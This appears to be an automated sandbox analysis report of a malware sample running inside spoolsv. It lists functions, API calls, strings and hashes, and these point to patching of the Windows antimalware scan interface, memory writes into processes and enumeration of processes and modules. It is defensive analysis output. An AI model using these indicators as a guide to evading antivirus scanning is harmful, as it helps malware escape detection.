Instruction ID: 7c5f3a25644ed6ebf611e114c42ff20b3baec98efa00132b2af18c46f2bfe774
Opcode Fuzzy Hash: 9de52f03e330f1c44f43be050e076900e70a83814b8bf743001a668f2b839b8a
Instruction Fuzzy Hash: 02B12072A103608BDB15CF2CD880356BBE1EF85394F1886EAE65D8F386D730E559CB90

Function 02B3870C Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 35
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(amsi), ref: 02B38715

Part of subcall function 02B380C8: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02B38150,?,?,00000000,00000000,?,02B38069,00000000,KernelBASE,00000000,00000000,02B38090), ref: 02B38115
Part of subcall function 02B380C8: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02B3811B
Part of subcall function 02B380C8: GetProcAddress.KERNEL32(?,?), ref: 02B3812D

Part of subcall function 02B37D00: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02B37D74

FreeLibrary.KERNEL32(00000000,00000000,?,?,00000006,?,?,000003E7,00000040,?,00000000,DllGetClassObject), ref: 02B38774

Strings

amsi, xrefs: 02B38710
DllGetClassObject, xrefs: 02B3873A
W, xrefs: 02B38721

Memory Dump Source

Source File: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID: AddressLibraryProc$FreeHandleLoadMemoryModuleVirtualWrite
String ID: DllGetClassObject$W$amsi
API String ID: 941070894-2671292670
Opcode ID: 2c7a4c3541203209035d4d2c3c0af6205baab7fdc56797a67bad833316098968
Instruction ID: d917d9676ca3ec4ead7b116ab855c777b8d0586892128fcc8eb3d80e70e841a9
Opcode Fuzzy Hash: 2c7a4c3541203209035d4d2c3c0af6205baab7fdc56797a67bad833316098968
Instruction Fuzzy Hash: 42F068A054C381B9E202E6749C45F4FBFCE4B52224F448B9DF1E85A2D2D675E1049777

Function 02B21A8C Relevance: 7.7, APIs: 6, Instructions: 175
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000,?,?,00000000,02B21FE4), ref: 02B21B17
Sleep.KERNEL32(0000000A,00000000,?,?,00000000,02B21FE4), ref: 02B21B31

Memory Dump Source

Source File: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: a297bb532582eea2dead0f3834fa86ed68ce71cfb470d0296401e5b04c65e6b3
Instruction ID: 15f6aa8c18e736209029873f2ff6309f338767204e6b9020b7871a9205268b97
Opcode Fuzzy Hash: a297bb532582eea2dead0f3834fa86ed68ce71cfb470d0296401e5b04c65e6b3
Instruction Fuzzy Hash: D7519D716213608FE715CF6C8988756BBE4EF46314F1886EEE54C8B283E770D549CBA1

Function 02B3E2F6 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 112
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 02B3E436

Strings

ScanBuffer, xrefs: 02B3E37F
Initialize, xrefs: 02B3E326
OpenSession, xrefs: 02B3E3D8

Memory Dump Source

Source File: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID: CheckConnectionInternet
String ID: Initialize$OpenSession$ScanBuffer
API String ID: 3847983778-3852638603
Opcode ID: f0e6a0aa76deb1aa3fa0882e822370a066d30d3b7c8874af788cea894b860537
Instruction ID: 87b5f8aac0bf4865297372e4c9268adb8464a4e7bac210e0feb3c4906c76cae4
Opcode Fuzzy Hash: f0e6a0aa76deb1aa3fa0882e822370a066d30d3b7c8874af788cea894b860537
Instruction Fuzzy Hash: 27411235B102289FEB02EBA4CC40ADE73FAEF4C320F1144A6E555B7A50DA74ED098F60

Function 02B2E2EC Relevance: 4.5, APIs: 3, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantClear.OLEAUT32(?), ref: 02B2E2FB

Memory Dump Source

Source File: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 5f4ed32e867129e1b64842fd0a611a34719714eb024ebffc4fd2714be8007d3a
Instruction ID: 0db8a70713f98934ff11d8c8b315910c536549d1c6c98f14e8d6901b0ffb0e56
Opcode Fuzzy Hash: 5f4ed32e867129e1b64842fd0a611a34719714eb024ebffc4fd2714be8007d3a
Instruction Fuzzy Hash: 46F0C82070433087C7227B3BCAC466D279AEF8974275094E6A49E5B145CB38FC4DCB56

Function 02B37064 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 256
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysFreeString.OLEAUT32(?), ref: 02B37362

Strings

H, xrefs: 02B37119

Memory Dump Source

Source File: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID: FreeString
String ID: H
API String ID: 3341692771-2852464175
Opcode ID: 92c1b8c24401f788b5abbdf6093ddad2fcc808e55ab4bdad5c95e72ef413b2c6
Instruction ID: c70031532c63ea4c85df135d9a737afb83b963aa93caefd034693b38b26fb0ec
Opcode Fuzzy Hash: 92c1b8c24401f788b5abbdf6093ddad2fcc808e55ab4bdad5c95e72ef413b2c6
Instruction Fuzzy Hash: 26B1F5B5A01608EFDB15CF99D880A9DFBF2FF4A314F1485A9E845AB360DB30A845DF50

Function 02B38824 Relevance: 3.1, APIs: 2, Instructions: 65
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(00000000,00000000,02B3890B), ref: 02B38858

Part of subcall function 02B38020: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02B38090,?,?,00000000,?,02B37A06,ntdll,00000000,00000000,02B37A4B,?,?,00000000), ref: 02B3805E
Part of subcall function 02B38020: GetModuleHandleA.KERNELBASE(?), ref: 02B38072

Part of subcall function 02B380C8: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02B38150,?,?,00000000,00000000,?,02B38069,00000000,KernelBASE,00000000,00000000,02B38090), ref: 02B38115
Part of subcall function 02B380C8: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02B3811B
Part of subcall function 02B380C8: GetProcAddress.KERNEL32(?,?), ref: 02B3812D

Part of subcall function 02B37D00: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02B37D74

FreeLibrary.KERNEL32(74D80000,00000000,02B81388,Function_000065D8,00000004,02B81398,02B81388,05F5E0FF,00000040,02B8139C,74D80000,00000000,00000000,00000000,00000000,02B3890B), ref: 02B388EB

Memory Dump Source

Source File: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID: HandleModule$AddressLibraryProc$FreeLoadMemoryVirtualWrite
String ID:
API String ID: 3283153180-0
Opcode ID: c7e58b9ffa88dcd06da3382756100ff1fe1eadf5de9e3c08846065a8ba1f2a9c
Instruction ID: c69f4b4dfd0035935a56effc7a314cf5a25c46424bee0c4accdc8aacfaf72f36
Opcode Fuzzy Hash: c7e58b9ffa88dcd06da3382756100ff1fe1eadf5de9e3c08846065a8ba1f2a9c
Instruction Fuzzy Hash: 33115EB0A51314BFEB01FBA8DC02A5E77AEEB45700F5048E4B60CF7A50DA349D06DB15

Function 02B2E6E8 Relevance: 3.1, APIs: 2, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantCopy.OLEAUT32(00000000,00000000), ref: 02B2E709

Part of subcall function 02B2E2EC: VariantClear.OLEAUT32(?), ref: 02B2E2FB

Memory Dump Source

Source File: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID: Variant$ClearCopy
String ID:
API String ID: 274517740-0
Opcode ID: e5676a1755a75309b90cab8539b6d3ca59021a6bd7bf634fa4d25abe065c1b6d
Instruction ID: 6a24addc3c64c60534c6ca0b95497f657ba9b2e3187c0b6708735f7b90534303
Opcode Fuzzy Hash: e5676a1755a75309b90cab8539b6d3ca59021a6bd7bf634fa4d25abe065c1b6d
Instruction Fuzzy Hash: 3C11A53070033087C722EF2ACDC466677EADF9975071558E6A94E8B269DB30EC4DCA62

Function 02B2E384 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantInit.OLEAUT32(?), ref: 02B2E3C4

Memory Dump Source

Source File: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID: InitVariant
String ID:
API String ID: 1927566239-0
Opcode ID: a4dea04e2e7903e78a0764818af872c462867a93cd37567e9a11f780bf7ba53b
Instruction ID: d976948470d667670e46464ca6c6be76682830012e7ecc97b61ec8c54799bd35
Opcode Fuzzy Hash: a4dea04e2e7903e78a0764818af872c462867a93cd37567e9a11f780bf7ba53b
Instruction Fuzzy Hash: 84317071A00328AFDB11DEAAC984AAE77E8EB0C305F4845A1F91DD3250D734F959CB62

Function 02B36CF4 Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(00000000,?,00000000,02B36D41,?,?,?,00000000), ref: 02B36D21

Part of subcall function 02B24C0C: SysFreeString.OLEAUT32(02B3E950), ref: 02B24C1A

Memory Dump Source

Source File: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID: FreeFromProgString
String ID:
API String ID: 4225568880-0
Opcode ID: 2d720c1e58d3758d73b5fe5ba76a14f7dfd571d7980fafb9c9d68dd804a4a34b
Instruction ID: 41b6d302fa6f39c36c1977f52525ec274e892466ca871185690e53a83bba2963
Opcode Fuzzy Hash: 2d720c1e58d3758d73b5fe5ba76a14f7dfd571d7980fafb9c9d68dd804a4a34b
Instruction Fuzzy Hash: 06E06531604314BBE702EBA5CC5195A7BBDEB49B50B9148F1F405D3510D974AD049864

Function 02B25814 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(02B20000,?,00000105), ref: 02B25832

Part of subcall function 02B25A78: GetModuleFileNameA.KERNEL32(00000000,?,00000105,02B20000,02B4D790), ref: 02B25A94
Part of subcall function 02B25A78: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02B20000,02B4D790), ref: 02B25AB2
Part of subcall function 02B25A78: RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02B20000,02B4D790), ref: 02B25AD0
Part of subcall function 02B25A78: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 02B25AEE
Part of subcall function 02B25A78: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,02B25B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 02B25B37
Part of subcall function 02B25A78: RegQueryValueExA.ADVAPI32(?,02B25CE4,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,02B25B7D,?,80000001), ref: 02B25B55
Part of subcall function 02B25A78: RegCloseKey.ADVAPI32(?,02B25B84,00000000,?,?,00000000,02B25B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 02B25B77

Memory Dump Source

Source File: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID: Open$FileModuleNameQueryValue$Close
String ID:
API String ID: 2796650324-0
Opcode ID: b28d12baadab1e4308946262d595483018c342fe3ea7939c094ad429c1d6dced
Instruction ID: ec2e068fef510ae88d5aa20802f0e3d832a6390947f2cf17fbe46fbc01d70543
Opcode Fuzzy Hash: b28d12baadab1e4308946262d595483018c342fe3ea7939c094ad429c1d6dced
Instruction Fuzzy Hash: 20E06D71A003248BCB24DE5C88C0A5637D8AB08750F4005A5EC58DF34AD3B0E9588BD0

Function 02B27E18 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,02B3F8CC,ScanString,02B8137C,02B4AFD8,OpenSession,02B8137C,02B4AFD8,ScanString,02B8137C,02B4AFD8,UacScan,02B8137C,02B4AFD8,UacInitialize), ref: 02B27E23

Memory Dump Source

Source File: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 39d99aea2b4b3de8ff8324b5e373e5cbc7456bababb3b7d58f404b20ec88a84a
Instruction ID: 2ca914ffa9beee75eeb70ce5ecafe2ffd6e15f9a7d78d45d258f77e7103503fb
Opcode Fuzzy Hash: 39d99aea2b4b3de8ff8324b5e373e5cbc7456bababb3b7d58f404b20ec88a84a
Instruction Fuzzy Hash: 4CC08CA12023200B5A5071FC0CC402A428C8B051383A40FF5B53CD66D2DB25881E3431

Function 02B4BB50 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

timeSetEvent.WINMM(00002710,00000000,02B4BB44,00000000,00000001), ref: 02B4BB60

Memory Dump Source

Source File: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID: Eventtime
String ID:
API String ID: 2982266575-0
Opcode ID: 6c17a46a9cbf44e852bc445029263b300936c6635a08ff1aef877ff4b992e613
Instruction ID: 6b7fce7b1d67a7e52844b140200aa9702da8ec1c7eee8109a1f7b1249f7f5a2b
Opcode Fuzzy Hash: 6c17a46a9cbf44e852bc445029263b300936c6635a08ff1aef877ff4b992e613
Instruction Fuzzy Hash: EAC092F1BC03103FF62056AC5CC2F27668DE704B08F601492BB04EE2D1D9E288641A64

Function 02B215CC Relevance: 1.3, APIs: 1, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00140000,00001000,00000004,?,02B21A03,?,02B22000), ref: 02B215E2

Memory Dump Source

Source File: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 74770d78a04eaccea8622cc4764d62a76287a81821f6db029c69c3f6f84861d8
Instruction ID: 6bc3129b6980054ab98f3620fc1b0261f8c5fa94a0e7c892ea6541d6774eab5c
Opcode Fuzzy Hash: 74770d78a04eaccea8622cc4764d62a76287a81821f6db029c69c3f6f84861d8
Instruction Fuzzy Hash: 97F0F9F0B513004FEB05DF7999443057AE6EB89389F1485B9E709DB399E771D4198B10

Function 02B21682 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00101000,00000004,?,?,?,?,02B22000), ref: 02B216A4

Memory Dump Source

Source File: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: ab99b24b78f9437852ee2238797199b8a2498a67ac7677a0514832296f9c264e
Instruction ID: 1d79b50b0c22cdc729b8ca095956cb85fbf158e4ba4bf49645a447c39a526727
Opcode Fuzzy Hash: ab99b24b78f9437852ee2238797199b8a2498a67ac7677a0514832296f9c264e
Instruction Fuzzy Hash: 33F090B6A407A56FD711AE5E9C80786BB94FB00394F054579F94CA7341D770A818CBD4

Function 02B216E6 Relevance: 1.3, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,?,?,00000000,02B21FE4), ref: 02B21704

Memory Dump Source

Source File: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 2ba00299611f45ea70e58ecbe8b5427f13dd596bc4de90e946b7b25736447433
Instruction ID: 6262fbca76cb8072c8e2e3ac14519ebcbf17b2491cee8cfd3457233760a87fc4
Opcode Fuzzy Hash: 2ba00299611f45ea70e58ecbe8b5427f13dd596bc4de90e946b7b25736447433
Instruction Fuzzy Hash: CBE086B53103216FE7105E7D5D407167BD8EB84654F1444B5F54DDB252D260E8188B60

Non-executed Functions

Function 02B3A95C Relevance: 59.6, APIs: 17, Strings: 17, Instructions: 99libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,00000002,02B3ABE3,?,?,02B3AC75,00000000,02B3AD51), ref: 02B3A970
GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 02B3A988
GetProcAddress.KERNEL32(00000000,Heap32ListFirst), ref: 02B3A99A
GetProcAddress.KERNEL32(00000000,Heap32ListNext), ref: 02B3A9AC
GetProcAddress.KERNEL32(00000000,Heap32First), ref: 02B3A9BE
GetProcAddress.KERNEL32(00000000,Heap32Next), ref: 02B3A9D0
GetProcAddress.KERNEL32(00000000,Toolhelp32ReadProcessMemory), ref: 02B3A9E2
GetProcAddress.KERNEL32(00000000,Process32First), ref: 02B3A9F4
GetProcAddress.KERNEL32(00000000,Process32Next), ref: 02B3AA06
GetProcAddress.KERNEL32(00000000,Process32FirstW), ref: 02B3AA18
GetProcAddress.KERNEL32(00000000,Process32NextW), ref: 02B3AA2A
GetProcAddress.KERNEL32(00000000,Thread32First), ref: 02B3AA3C
GetProcAddress.KERNEL32(00000000,Thread32Next), ref: 02B3AA4E
GetProcAddress.KERNEL32(00000000,Module32First), ref: 02B3AA60
GetProcAddress.KERNEL32(00000000,Module32Next), ref: 02B3AA72
GetProcAddress.KERNEL32(00000000,Module32FirstW), ref: 02B3AA84
GetProcAddress.KERNEL32(00000000,Module32NextW), ref: 02B3AA96

Strings

Heap32Next, xrefs: 02B3A9C8
Thread32Next, xrefs: 02B3AA46
Module32FirstW, xrefs: 02B3AA7C
Heap32ListNext, xrefs: 02B3A9A4
Process32FirstW, xrefs: 02B3AA10
Toolhelp32ReadProcessMemory, xrefs: 02B3A9DA
Process32NextW, xrefs: 02B3AA22
CreateToolhelp32Snapshot, xrefs: 02B3A980
Process32First, xrefs: 02B3A9EC
Module32NextW, xrefs: 02B3AA8E
Process32Next, xrefs: 02B3A9FE
